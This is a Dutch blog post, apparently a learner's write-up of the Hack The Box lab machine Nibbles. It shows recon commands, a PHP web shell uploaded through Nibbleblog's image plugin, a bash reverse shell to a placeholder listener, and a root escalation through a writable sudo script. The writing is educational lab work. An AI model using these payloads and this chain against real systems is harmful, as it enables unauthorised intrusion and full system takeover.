Mijn eerste Hack The Box doorbraak (Nibbles)

Intro

Tijdens mijn eerste Hack The Box-machine liep ik vast op iets simpels:
een reverse shell die niet werkte.

Wat begon als frustratie, bleek uiteindelijk één van de belangrijkste lessen tot nu toe in mijn leerproces richting ethical hacker.

Deze box lijkt simpel, maar bevat precies de fouten die beginners maken en waar ik zelf ook tegenaan liep.

In deze post neem ik je mee in hoe ik van een 500 error naar volledige root access ging en vooral wat ik daarvan geleerd heb.

Recon: eerste verkenning

Zoals altijd begon ik met een Nmap scan:

nmap -Pn -T4 -p- <IP>
nmap -sC -sV -p <ports> <IP>

Hieruit bleek dat er een webservice draaide.

Nadat ik de Page Source heb bekeken, kwam ik uit op een webapplicatie: Nibbleblog.

Dit is vaak het eerste patroon:

  • web → foothold

Web enumeration

Met tools zoals:

whatweb http://<IP>
gobuster dir -u http://<IP> -w <wordlist>

ging ik op zoek naar verborgen directories en functionaliteiten.

Nibbleblog heeft een adminpanel.

Nadat ik ingelogd had op de adminpanel van Nibbleblog, kwam ik een interessante feature tegen:
een upload functionaliteit binnen de My Image plugin.

Foothold: eerste poging. Ik uploadde een PHP payload om command execution te testen:

<?php system("id"); ?>

Dit is een cruciale stap. Eerst testen of de payload werkt.

En ja, dit werkte.

Dus:

✔ Code execution confirmed

De fout: reverse shell werkt niet

Daarna probeerde ik een reverse shell te krijgen.

Maar…

👉 ik kreeg alleen dit:

500 Internal Server Error

Mijn eerste gedachte:

“Mijn exploit werkt niet”

Maar dit was fout.

Het inzicht (dit veranderde alles)

Een 500 error betekent vaak:

Je code wordt uitgevoerd
maar je payload crasht

Dus:

✔ execution werkt
❌ payload is fout

Debuggen van de payload

Mijn eerste payload was fout opgebouwd (nested PHP).

Na corrigeren gebruikte ik:

<?php system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'"); ?>

Reverse shell (succes)

Listener starten:

nc -lvnp 1234

En daarna de payload triggeren.

Shell werkt. Daar was ik al heel erg blij mee.

Shell stabiliseren

Zoals altijd:

python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty raw -echo; fg
export TERM=xterm-256color
stty rows 67 columns 318

Privilege escalation

Na binnenkomst begon de volgende fase: enumeratie.

sudo -l

Hier zag ik iets interessants:

NOPASSWD script → monitor.sh

In de usermap van Nibbler staat een zip betsand, welke ik heb uitgepakt en inderdaad staat daar monitor.sh bij. Ik heb een reverse shell plaatst in dit bestaand en het bestand getriggerd zodat de shell geopend zou worden als root.

Misconfiguratie misbruiken

Het script stond in een pad dat ik kon aanpassen.

Dit ben ik vaker tegengekomen bij PNPT en eJPT.

script + sudo + write access = root

Het script heb ik aangepast met een reverse shell.

De laatste stap is om monitor.sh te starten zodat de shell geopend wordt als root. Nadat ik een nieuwe listener had opgezet, opende ik het bestand.

Wat ik hiervan geleerd heb

Dit was geen moeilijke box, maar wel een belangrijke.

1. Always verify execution

<?php system("id"); ?>

Zonder deze stap:
→ debug je blind

2. 500 errors zijn waardevol

500 error = vaak execution + broken payload

Niet:
→ exploit faalt

3. Werk met een vaste workflow

1. Verify execution
2. Reverse shell
3. Fallback indien nodig
4. Enumeratie
5. Privesc

4. Enumeration is iteratief

Je bent nooit “klaar” met enumereren.

Afsluiting

Deze box leerde mij dat pentesten niet draait om tools,
maar om denken.

Eén simpele stap (verify execution) maakte hier het verschil tussen frustratie en succes.

Dit soort momenten zijn precies waarom ik mijn leerproces documenteer. Niet alleen om alleen technieken te leren, maar ook het denken achter pentesting te ontwikkelen.

FAQ

Wat is een reverse shell?

Een reverse shell is een verbinding waarbij de target machine zelf verbinding maakt met jouw machine, zodat je een shell krijgt.

Wat betekent een 500 error tijdens exploitatie?

Vaak betekent dit dat de code wel uitgevoerd wordt, maar dat er iets misgaat in de payload. Ik had de payload namelijk verkeerd genesteld.

Waarom eerst id uitvoeren?

Om te verifiëren dat je command execution hebt voordat je complexere payloads gebruikt.

Laat een reactie achter

Je e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *